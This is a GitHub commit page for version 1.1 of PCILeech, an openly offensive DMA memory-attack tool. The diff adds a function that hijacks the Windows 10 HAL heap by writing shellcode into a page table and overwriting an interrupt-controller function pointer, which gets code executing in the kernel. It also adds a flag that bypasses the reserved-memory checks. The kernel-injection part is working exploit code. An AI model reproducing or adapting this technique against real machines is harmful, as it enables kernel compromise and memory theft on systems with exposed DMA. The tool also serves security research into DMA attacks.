Skip to content

Commit

Permalink
Version 1.1
Browse files Browse the repository at this point in the history
  • Loading branch information
ufrisk committed Sep 5, 2016
1 parent 30da690 commit 981e1fc
Show file tree
Hide file tree
Showing 21 changed files with 1,121 additions and 276 deletions.
5 changes: 3 additions & 2 deletions pcileech/device.c
Original file line number Diff line number Diff line change
Expand Up @@ -105,7 +105,7 @@ BOOL DeviceReadDMA(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _Out_
DWORD i, dwChunk;
if(cb % 0x1000) { return FALSE; }
if(cb > 0x01000000) { return FALSE; }
if(_DeviceIsInReservedMemoryRange(dwAddrPci32, cb)) { return FALSE; }
if(_DeviceIsInReservedMemoryRange(dwAddrPci32, cb) && !pDeviceData->IsAllowedAccessReservedAddress) { return FALSE; }
ZeroMemory(td, sizeof(THREAD_DATA_READ_EP) * 3);
if(cb < 0x00300000 || !pDeviceData->IsAllowedMultiThreadDMA) {
if(cb > 0x00800000) { // read max 8MB at a time.
Expand Down Expand Up @@ -291,7 +291,7 @@ VOID DeviceOpen_SetPipePolicy(_In_ PDEVICE_DATA pDeviceData)
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn3, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT);
}

BOOL DeviceOpen(_Out_ PDEVICE_DATA pDeviceData)
BOOL DeviceOpen(_In_ PCONFIG pCfg, _Out_ PDEVICE_DATA pDeviceData)
{
BOOL result;
pDeviceData->HandlesOpen = FALSE;
Expand Down Expand Up @@ -326,6 +326,7 @@ BOOL DeviceOpen(_Out_ PDEVICE_DATA pDeviceData)
DeviceOpen_SetPipePolicy(pDeviceData);
pDeviceData->HandlesOpen = TRUE;
pDeviceData->IsAllowedMultiThreadDMA = IsWindows8OrGreater(); // multi threaded DMA read fails on WIN7.
pDeviceData->IsAllowedAccessReservedAddress = pCfg->fForceRW;
return TRUE;
}

Expand Down
2 changes: 1 addition & 1 deletion pcileech/device.h
Original file line number Diff line number Diff line change
Expand Up @@ -40,7 +40,7 @@
* -- pDeviceData = ptr to DeviceData to receive values on success.
* -- result
*/
BOOL DeviceOpen(_Out_ PDEVICE_DATA pDeviceData);
BOOL DeviceOpen(_In_ PCONFIG pCfg, _Out_ PDEVICE_DATA pDeviceData);

/*
* Clean up various device related stuff and deallocate some meoory buffers.
Expand Down
332 changes: 332 additions & 0 deletions pcileech/help.c

Large diffs are not rendered by default.

14 changes: 14 additions & 0 deletions pcileech/help.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
// help.h : definitions related to displaying help texts.
//
// (c) Ulf Frisk, 2016
// Author: Ulf Frisk, [email protected]
//
#ifndef __HELP_H__
#define __HELP_H__
#include "pcileech.h"

VOID Help_ShowGeneral();
VOID Help_ShowDetailed(_In_ PCONFIG pCfg);
VOID Help_ShowInfo();

#endif /* __HELP_H__ */
145 changes: 141 additions & 4 deletions pcileech/kmd.c
Original file line number Diff line number Diff line change
Expand Up @@ -99,6 +99,8 @@ typedef struct tdKERNELSEEKER {
#define STAGE2_OFFSET_FN_STAGE1_ORIG 8
#define STAGE2_OFFSET_EXTRADATA1 16

BOOL KMD_GetPhysicalMemoryMap(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Inout_ PKMDHANDLE phKMD);

//-------------------------------------------------------------------------------
// Signature mathing below.
//-------------------------------------------------------------------------------
Expand Down Expand Up @@ -345,6 +347,139 @@ BOOL KMD_LinuxKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceDa
return result;
}

//-------------------------------------------------------------------------------
// Windows 8/10 generic kernel signature below.
//-------------------------------------------------------------------------------

BOOL KMD_Win_SearchTableHalpInterruptController(_In_ PBYTE pbPage, _In_ QWORD qwPageVA, _Out_ PDWORD dwHookFnPgOffset)
{
DWORD i;
BOOL result;
for(i = 0; i < (0x1000 - 0x78); i += 8) {
result =
(*(PQWORD)(pbPage + i + 0x18) == 0x28) &&
((*(PQWORD)(pbPage + i + 0x00) & ~0xfff) == qwPageVA) &&
((*(PQWORD)(pbPage + i + 0x10) & ~0xfff) == qwPageVA) &&
((*(PQWORD)(pbPage + i + 0x78) & 0xffffff0000000000) == 0xfffff80000000000);
if(result) {
*dwHookFnPgOffset = i + 0x78;
return TRUE;
}
}
return FALSE;
}

// https://blog.coresecurity.com/2016/08/25/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-3-windows-hals-heap/
BOOL KMDOpen_HalHeapHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
{
DWORD ADDR_HAL_HEAP_PA = 0x00001000;
QWORD ADDR_SHELLCODE_VA = 0xffffffffffc00100;
BOOL result;
SIGNATURE oSignature;
PKMDHANDLE pKMD = NULL;
PDWORD pdwPhysicalAddress;
BYTE pbHal[0x1000] = { 0 }, pbPT[0x1000] = { 0 }, pbNULL[0x300] = { 0 };
DWORD dwHookFnPgOffset;
QWORD qwPML4, qwAddrHalHeapVA, qwPTEOrig, qwPTEPA, qwPTPA;
//------------------------------------------------
// 1: Fetch hal.dll heap and perform sanity checks.
//------------------------------------------------
Util_CreateSignatureWindowsHalGeneric(&oSignature);
result = DeviceReadDMARetryOnFail(pDeviceData, ADDR_HAL_HEAP_PA, pbHal, 0x1000);
qwPML4 = *(PQWORD)(pbHal + 0xa0);
qwAddrHalHeapVA = *(PQWORD)(pbHal + 0x78);
if(!result || (qwPML4 & 0xffffffff00000fff) || ((qwAddrHalHeapVA & 0xfffffffffff00fff) != 0xffffffffffd00000)) {
printf("KMD: Failed. Error reading or interpreting hal heap #1.\n");
goto fail;
}
result = Util_PageTable_ReadPTE(pCfg, pDeviceData, qwPML4, qwAddrHalHeapVA, &qwPTEOrig, &qwPTEPA);
if(!result || ((qwPTEOrig & 0x00007ffffffff003) != 0x1003)) {
printf("KMD: Failed. Error reading or interpreting hal PTE.\n");
goto fail;
}
//------------------------------------------------
// 2: Search for function table in hal.dll heap.
//------------------------------------------------
for(qwAddrHalHeapVA = 0xffffffffffd00000; qwAddrHalHeapVA < 0xffffffffffe00000; qwAddrHalHeapVA += 0x1000) {
result =
Util_PageTable_ReadPTE(pCfg, pDeviceData, qwPML4, qwAddrHalHeapVA, &qwPTEOrig, &qwPTEPA) &&
((qwPTEOrig & 0x00007fff00000003) == 0x00000003) &&
DeviceReadDMARetryOnFail(pDeviceData, (qwPTEOrig & 0xfffff000), pbHal, 0x1000) &&
KMD_Win_SearchTableHalpInterruptController(pbHal, qwAddrHalHeapVA, &dwHookFnPgOffset);
if(result) {
break;
}
}
if(!result) {
printf("KMD: Failed. Failed finding entry point.\n");
goto fail;
}
qwPTPA = qwPTEPA & ~0xfff;
result = DeviceReadDMARetryOnFail(pDeviceData, (DWORD)qwPTPA, pbPT, 0x1000);
if(!result || memcmp(pbPT, pbNULL, 0x300)) { // first 0x300 bytes in Hal PT must be zero
printf("KMD: Failed. Error reading or interpreting PT.\n");
goto fail;
}
//------------------------------------------------
// 3: Write shellcode into page table empty space.
//------------------------------------------------
*(PQWORD)pbPT = qwPTPA | 0x63; // PTE for addr: 0xffffffffffc00000
memcpy(pbPT + 0x100, oSignature.chunk[3].pb, oSignature.chunk[3].cb);
*(PQWORD)(pbPT + 0x100 + STAGE2_OFFSET_FN_STAGE1_ORIG) = *(PQWORD)(pbHal + dwHookFnPgOffset);
*(PQWORD)(pbPT + 0x100 + STAGE2_OFFSET_EXTRADATA1) = qwAddrHalHeapVA + dwHookFnPgOffset;
printf("INFO: PA PT: 0x%08x\n", qwPTPA);
printf("INFO: PA FN: 0x%08x\n", (qwPTEOrig & 0xfffff000) + dwHookFnPgOffset);
DeviceWriteDMA_Retry(pDeviceData, (DWORD)qwPTPA, pbPT, 0x300);
//------------------------------------------------
// 4: Place hook by overwriting function addr in hal.dll heap.
//------------------------------------------------
Sleep(250);
DeviceWriteDMA_Retry(pDeviceData, (qwPTEOrig & 0xfffff000) + dwHookFnPgOffset, (PBYTE)&ADDR_SHELLCODE_VA, sizeof(QWORD));
printf("KMD: Code inserted into the kernel - Waiting to receive execution.\n");
//------------------------------------------------
// 5: wait for patch to reveive execution.
//------------------------------------------------
pdwPhysicalAddress = (PDWORD)(pbPT + 0x100 + STAGE2_OFFSET_STAGE3_PHYSADDR);
do {
Sleep(100);
if(!DeviceReadDMARetryOnFail(pDeviceData, (DWORD)qwPTPA, pbPT, 4096)) {
printf("KMD: Failed. DMA Read failed while waiting to receive physical address.\n");
goto fail;
}
} while(!*pdwPhysicalAddress);
printf("KMD: Execution received - continuing ...\n");
//------------------------------------------------
// 6: Restore hooks to original.
//------------------------------------------------
Sleep(250);
DeviceWriteDMA(pDeviceData, (DWORD)qwPTPA, pbNULL, 0x300);
//------------------------------------------------
// 7: Set up kernel module shellcode (stage3)
//------------------------------------------------
if(*pdwPhysicalAddress == 0xffffffff) {
printf("KMD: Failed. Stage2 shellcode error.\n");
goto fail;
}
DeviceWriteDMA(pDeviceData, *pdwPhysicalAddress + 0x1000, oSignature.chunk[4].pb, 4096);
if(!(pKMD = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE)))) { goto fail; }
pKMD->dwPageAddr32 = *pdwPhysicalAddress;
pKMD->status = (PKMDDATA)pKMD->pbPageData;
DeviceReadDMA(pDeviceData, pKMD->dwPageAddr32, pKMD->pbPageData, 4096);
//------------------------------------------------
// 8: Retrieve physical memory range map and complete open action.
//------------------------------------------------
if(!KMD_GetPhysicalMemoryMap(pCfg, pDeviceData, pKMD)) {
printf("KMD: Failed. Failed to retrieve physical memory map.\n");
goto fail;
}
pDeviceData->KMDHandle = (HANDLE)pKMD;
if(pCfg->tpAction == KMDLOAD) { pCfg->qwKMD = pKMD->dwPageAddr32; }
return TRUE;
fail:
LocalFree(pKMD);
return FALSE;
}

//-------------------------------------------------------------------------------
// KMD command function below.
//-------------------------------------------------------------------------------
Expand Down Expand Up @@ -400,7 +535,7 @@ BOOL KMDReadMemory_DMABufferSized(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAd
{
BOOL result;
PKMDHANDLE phKMD = (PKMDHANDLE)pDeviceData->KMDHandle;
if(!KMD_IsRangeInPhysicalMap(phKMD, qwAddress, cb)) {
if(!KMD_IsRangeInPhysicalMap(phKMD, qwAddress, cb) && !pDeviceData->IsAllowedAccessReservedAddress) {
if(cb <= 0x1000) { // Return blank memory and ok on 1 page read (smallest unit) if not in physical map.
memset(pb, 0, cb);
return TRUE;
Expand All @@ -420,7 +555,7 @@ BOOL KMDWriteMemory_DMABufferSized(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwA
{
BOOL result;
PKMDHANDLE phKMD = (PKMDHANDLE)pDeviceData->KMDHandle;
if(!KMD_IsRangeInPhysicalMap(phKMD, qwAddress, cb)) { return E_FAIL; }
if(!KMD_IsRangeInPhysicalMap(phKMD, qwAddress, cb) && !pDeviceData->IsAllowedAccessReservedAddress) { return E_FAIL; }
result = DeviceWriteDMA(pDeviceData, (DWORD)phKMD->status->DMAAddrPhysical, pb, cb);
if(!result) { return FALSE; }
phKMD->status->_size = cb;
Expand Down Expand Up @@ -774,9 +909,11 @@ BOOL KMDOpen(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
if(pCfg->qwKMD) {
return KMDOpen_LoadExisting(pCfg, pDeviceData);
} else if(pCfg->qwCR3 || pCfg->fPageTableScan) {
return KMDOpen_PageTableHijack(pCfg, pDeviceData); // TODO: FIX HRESULT
return KMDOpen_PageTableHijack(pCfg, pDeviceData);
} else if(0 == _stricmp(pCfg->szKMDName, "WIN10_X64")) {
return KMDOpen_HalHeapHijack(pCfg, pDeviceData);
} else {
return KMDOpen_MemoryScan(pCfg, pDeviceData); // TODO: FIX HRESULT
return KMDOpen_MemoryScan(pCfg, pDeviceData);
}
}

Expand Down
58 changes: 1 addition & 57 deletions pcileech/memdump.c
Original file line number Diff line number Diff line change
Expand Up @@ -22,62 +22,6 @@ VOID MemoryDump_FileWriteAsync_Thread(PFILE_WRITE_ASYNC_BUFFER pfb)
pfb->isExecuting = FALSE;
}

VOID MemoryDump_Read1M(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PBYTE pbBuffer1M, _In_ QWORD qwBaseAddress, _Inout_ PPAGE_STATISTICS pPageStat)
{
QWORD o, p;
// try read 1M in 128k chunks
for(o = 0; o < 0x00100000; o += 0x00020000) {
if((qwBaseAddress + o + 0x00020000 <= pCfg->qwAddrMax) && DeviceReadMEM(pDeviceData, qwBaseAddress + o, pbBuffer1M + o, 0x00020000)) {
pPageStat->cPageSuccess += 32;
} else {
// try read 128k in 4k (page) chunks
for(p = 0; p < 0x00020000; p += 0x1000) {
if(!(qwBaseAddress + o + p + 0x1000 <= pCfg->qwAddrMax)) {
return;
}
if(DeviceReadMEM(pDeviceData, qwBaseAddress + o + p, pbBuffer1M + o + p, 0x1000)) {
pPageStat->cPageSuccess++;
} else {
pPageStat->cPageFail++;
}
}
}
}
}

BOOL MemoryDump_Read16M(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PBYTE pbBuffer16M, _In_ QWORD qwBaseAddress, _Inout_ PPAGE_STATISTICS pPageStat)
{
BOOL isSuccess[4] = { FALSE, FALSE, FALSE, FALSE };
QWORD i, o, qwOffset;
// try read 16M
if((qwBaseAddress + 0x01000000 <= pCfg->qwAddrMax) && DeviceReadMEM(pDeviceData, qwBaseAddress, pbBuffer16M, 0x01000000)) {
pPageStat->cPageSuccess += 4096;
return TRUE;
}
// try read 16M in 4M chunks
for(i = 0; i < 4; i++) {
o = 0x00400000 * i;
isSuccess[i] = (qwBaseAddress + o + 0x00400000 <= pCfg->qwAddrMax) && DeviceReadMEM(pDeviceData, qwBaseAddress + o, pbBuffer16M + o, 0x00400000);
}
// DMA mode + all memory inside scope + and all 4M reads fail => fail
if(!pDeviceData->KMDHandle && qwBaseAddress + 0x01000000 <= pCfg->qwAddrMax && !isSuccess[0] && !isSuccess[1] && !isSuccess[2] && !isSuccess[3]) {
pPageStat->cPageFail += 4096;
return FALSE;
}
// try read failed 4M chunks in 1M chunks
for(i = 0; i < 4; i++) {
if(isSuccess[i]) {
pPageStat->cPageSuccess += 1024;
} else {
qwOffset = 0x00400000 * i;
for(o = 0; o < 0x00400000; o += 0x00100000) {
MemoryDump_Read1M(pCfg, pDeviceData, pbBuffer16M + qwOffset + o, qwBaseAddress + qwOffset + o, pPageStat);
}
}
}
return TRUE;
}

VOID MemoryDump_SetOutFileName(_Inout_ PCONFIG pCfg)
{
SYSTEMTIME st;
Expand Down Expand Up @@ -130,7 +74,7 @@ VOID ActionMemoryDump(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
// 2: start dump in 16MB blocks
qwCurrentAddress = pCfg->qwAddrMin;
while(qwCurrentAddress < pCfg->qwAddrMax) {
result = MemoryDump_Read16M(pCfg, pDeviceData, pbMemoryDump, qwCurrentAddress, &pageStat);
result = Util_Read16M(pCfg, pDeviceData, pbMemoryDump, qwCurrentAddress, &pageStat);
ShowUpdatePageRead(pCfg, qwCurrentAddress, &pageStat);
if(!result) {
printf("Memory Dump: Failed. Cannot dump any sequential data in 16MB - terminating.\n");
Expand Down
Loading

0 comments on commit 981e1fc

Please sign in to comment.